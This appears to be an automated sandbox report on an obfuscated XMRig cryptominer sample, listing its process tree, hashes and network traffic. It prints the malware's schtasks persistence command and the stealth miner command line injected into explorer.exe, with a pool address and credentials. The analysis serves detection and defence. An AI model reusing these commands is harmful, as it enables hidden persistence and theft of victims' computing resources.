Malware Analysis Report

2024-11-30 18:49

Sample ID 240316-zmsptsdf93
Target cf09f5d2105f7fcaaaadfff6e6060036
SHA256 33a236fd56543bf3915e16cfffb3c6a4b0f92c9ba444744339e3bcc10f285d61
Tags
xmrig agilenet miner
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

33a236fd56543bf3915e16cfffb3c6a4b0f92c9ba444744339e3bcc10f285d61

Threat Level: Known bad

The file cf09f5d2105f7fcaaaadfff6e6060036 was found to be: Known bad.

Malicious Activity Summary

xmrig agilenet miner

xmrig

XMRig Miner payload

Checks computer location settings

Loads dropped DLL

Obfuscated with Agile.Net obfuscator

Executes dropped EXE

Suspicious use of SetThreadContext

Unsigned PE

Enumerates physical storage devices

Uses Task Scheduler COM API

Suspicious behavior: LoadsDriver

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Creates scheduled task(s)

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-16 20:50

Signatures

Obfuscated with Agile.Net obfuscator

agilenet
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-16 20:50

Reported

2024-03-16 20:53

Platform

win7-20240221-en

Max time kernel

150s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe N/A

Obfuscated with Agile.Net obfuscator

agilenet
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2672 set thread context of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe N/A
N/A N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2940 wrote to memory of 2200 N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe C:\Windows\System32\cmd.exe
PID 2940 wrote to memory of 2200 N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe C:\Windows\System32\cmd.exe
PID 2940 wrote to memory of 2200 N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe C:\Windows\System32\cmd.exe
PID 2200 wrote to memory of 2604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2200 wrote to memory of 2604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2200 wrote to memory of 2604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2940 wrote to memory of 2672 N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe C:\Users\Admin\Windows.Devices.WiFiDirect.exe
PID 2940 wrote to memory of 2672 N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe C:\Users\Admin\Windows.Devices.WiFiDirect.exe
PID 2940 wrote to memory of 2672 N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe C:\Users\Admin\Windows.Devices.WiFiDirect.exe
PID 2672 wrote to memory of 2624 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\System32\cmd.exe
PID 2672 wrote to memory of 2624 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\System32\cmd.exe
PID 2672 wrote to memory of 2624 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\System32\cmd.exe
PID 2672 wrote to memory of 2232 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
PID 2672 wrote to memory of 2232 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
PID 2672 wrote to memory of 2232 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
PID 2624 wrote to memory of 2688 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2624 wrote to memory of 2688 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2624 wrote to memory of 2688 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2672 wrote to memory of 2352 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe

"C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows.Devices.WiFiDirect" /tr '"C:\Users\Admin\Windows.Devices.WiFiDirect.exe"' & exit

C:\Windows\system32\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "Windows.Devices.WiFiDirect" /tr '"C:\Users\Admin\Windows.Devices.WiFiDirect.exe"'

C:\Users\Admin\Windows.Devices.WiFiDirect.exe

"C:\Users\Admin\Windows.Devices.WiFiDirect.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows.Devices.WiFiDirect" /tr '"C:\Users\Admin\Windows.Devices.WiFiDirect.exe"' & exit

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"

C:\Windows\system32\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "Windows.Devices.WiFiDirect" /tr '"C:\Users\Admin\Windows.Devices.WiFiDirect.exe"'

C:\Windows\explorer.exe

C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6031730 --pass=Ak47Nogano --cpu-max-threads-hint=40 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=1 --cinit-idle-cpu=80 --cinit-stealth

Network

Country Destination Domain Proto
US 8.8.8.8:53 mine.bmpool.org udp
RO 5.252.178.30:6004 mine.bmpool.org tcp

Files

memory/2940-0-0x0000000000BC0000-0x0000000000DF4000-memory.dmp

memory/2940-1-0x000007FEF5660000-0x000007FEF604C000-memory.dmp

memory/2940-2-0x000000001AD60000-0x000000001ADE0000-memory.dmp

\Users\Admin\AppData\Local\Temp\4b778ecf-aeba-4d74-a303-8b568c559364\ .dll

MD5 e8641f344213ca05d8b5264b5f4e2dee
SHA1 96729e31f9b805800b2248fd22a4b53e226c8309
SHA256 85e82b9e9200e798e8f434459eacee03ed9818cc6c9a513fe083e72d48884e24
SHA512 3130f32c100ecb97083ad8ac4c67863e9ceed3a9b06fc464d1aeeaec389f74c8bf56f4ce04f6450fd2cc0fa861d085101c433cfa4bec3095f8ebeeb53b739109

memory/2940-10-0x000007FEF6670000-0x000007FEF679C000-memory.dmp

memory/2940-9-0x000007FEF7A90000-0x000007FEF7AB8000-memory.dmp

memory/2940-11-0x000000001B530000-0x000000001B736000-memory.dmp

C:\Users\Admin\Windows.Devices.WiFiDirect.exe

MD5 cf09f5d2105f7fcaaaadfff6e6060036
SHA1 b825b5ebb20c2c39ce62ca73e7cec4f82df7578b
SHA256 33a236fd56543bf3915e16cfffb3c6a4b0f92c9ba444744339e3bcc10f285d61
SHA512 c9799c258a93c8368ef37efc05ba0a9cba20ac4d204c3d75e01fa6a6596af45c33791d47aff7eaf71b185d988d2aa497ccd858128a49ec81ae2c06ebd6516d25

memory/2940-19-0x000007FEF5660000-0x000007FEF604C000-memory.dmp

memory/2672-20-0x000007FEF5660000-0x000007FEF604C000-memory.dmp

memory/2672-24-0x000007FEF6670000-0x000007FEF679C000-memory.dmp

memory/2672-25-0x000007FEF7A90000-0x000007FEF7AB8000-memory.dmp

memory/2672-26-0x0000000000F90000-0x0000000001010000-memory.dmp

memory/2940-21-0x000007FEF7A90000-0x000007FEF7AB8000-memory.dmp

memory/2672-18-0x0000000001030000-0x0000000001264000-memory.dmp

\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

MD5 392ec0c5a999235cb1bd3dfc77b2a0e6
SHA1 5109a25b82d39e4f81537f0c71cdc845c3c67ec7
SHA256 e03de51ab9229dfe332f5857246f25f2d9063707311099841d0f48f8c61c4331
SHA512 672a157dcace64d2d6105b38be30fcc26592d45f68d7748f10e2075939f2f2cb4484e676a51e66fd38cb915f7299fe82aec022cc649cad8cdcc0cdcdce3c72ec

memory/2232-34-0x000000013F960000-0x000000013F966000-memory.dmp

memory/2232-36-0x000000001AC20000-0x000000001ACA0000-memory.dmp

memory/2232-35-0x000007FEF5660000-0x000007FEF604C000-memory.dmp

memory/2352-37-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-38-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-39-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-40-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-41-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-42-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-43-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-44-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-45-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-46-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-47-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-48-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-49-0x000007FFFFFD3000-0x000007FFFFFD4000-memory.dmp

memory/2672-51-0x000007FEF7A90000-0x000007FEF7AB8000-memory.dmp

memory/2352-50-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2672-53-0x000007FEF5660000-0x000007FEF604C000-memory.dmp

memory/2352-54-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-56-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-55-0x00000000000E0000-0x0000000000100000-memory.dmp

memory/2352-57-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-58-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-59-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-61-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-60-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-62-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2352-63-0x0000000140000000-0x0000000140763000-memory.dmp

memory/2232-64-0x000007FEF5660000-0x000007FEF604C000-memory.dmp

memory/2232-65-0x000000001AC20000-0x000000001ACA0000-memory.dmp

memory/2352-66-0x0000000140000000-0x0000000140763000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-16 20:50

Reported

2024-03-16 20:53

Platform

win10v2004-20240226-en

Max time kernel

160s

Max time network

166s

Command Line

"C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Windows.Devices.WiFiDirect.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe N/A

Obfuscated with Agile.Net obfuscator

agilenet
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2988 set thread context of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe N/A
N/A N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2284 wrote to memory of 4308 N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe C:\Windows\System32\cmd.exe
PID 2284 wrote to memory of 4308 N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe C:\Windows\System32\cmd.exe
PID 4308 wrote to memory of 740 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 4308 wrote to memory of 740 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2284 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe C:\Users\Admin\Windows.Devices.WiFiDirect.exe
PID 2284 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe C:\Users\Admin\Windows.Devices.WiFiDirect.exe
PID 2988 wrote to memory of 3164 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\System32\cmd.exe
PID 2988 wrote to memory of 3164 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\System32\cmd.exe
PID 3164 wrote to memory of 1552 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 3164 wrote to memory of 1552 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2988 wrote to memory of 1856 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
PID 2988 wrote to memory of 1856 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe
PID 2988 wrote to memory of 4044 N/A C:\Users\Admin\Windows.Devices.WiFiDirect.exe C:\Windows\explorer.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe

"C:\Users\Admin\AppData\Local\Temp\cf09f5d2105f7fcaaaadfff6e6060036.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows.Devices.WiFiDirect" /tr '"C:\Users\Admin\Windows.Devices.WiFiDirect.exe"' & exit

C:\Windows\system32\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "Windows.Devices.WiFiDirect" /tr '"C:\Users\Admin\Windows.Devices.WiFiDirect.exe"'

C:\Users\Admin\Windows.Devices.WiFiDirect.exe

"C:\Users\Admin\Windows.Devices.WiFiDirect.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows.Devices.WiFiDirect" /tr '"C:\Users\Admin\Windows.Devices.WiFiDirect.exe"' & exit

C:\Windows\system32\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "Windows.Devices.WiFiDirect" /tr '"C:\Users\Admin\Windows.Devices.WiFiDirect.exe"'

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"

C:\Windows\explorer.exe

C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6031730 --pass=Ak47Nogano --cpu-max-threads-hint=40 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=1 --cinit-idle-cpu=80 --cinit-stealth

Network

Country Destination Domain Proto
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 207.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 mine.bmpool.org udp
RO 5.252.178.30:6004 mine.bmpool.org tcp
US 8.8.8.8:53 30.178.252.5.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 190.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 35.197.79.40.in-addr.arpa udp

Files

memory/2284-0-0x0000000000A40000-0x0000000000C74000-memory.dmp

memory/2284-7-0x00007FFBD7FC0000-0x00007FFBD810E000-memory.dmp

memory/2284-8-0x00007FFBD97D0000-0x00007FFBDA291000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\4b778ecf-aeba-4d74-a303-8b568c559364\ .dll

MD5 e8641f344213ca05d8b5264b5f4e2dee
SHA1 96729e31f9b805800b2248fd22a4b53e226c8309
SHA256 85e82b9e9200e798e8f434459eacee03ed9818cc6c9a513fe083e72d48884e24
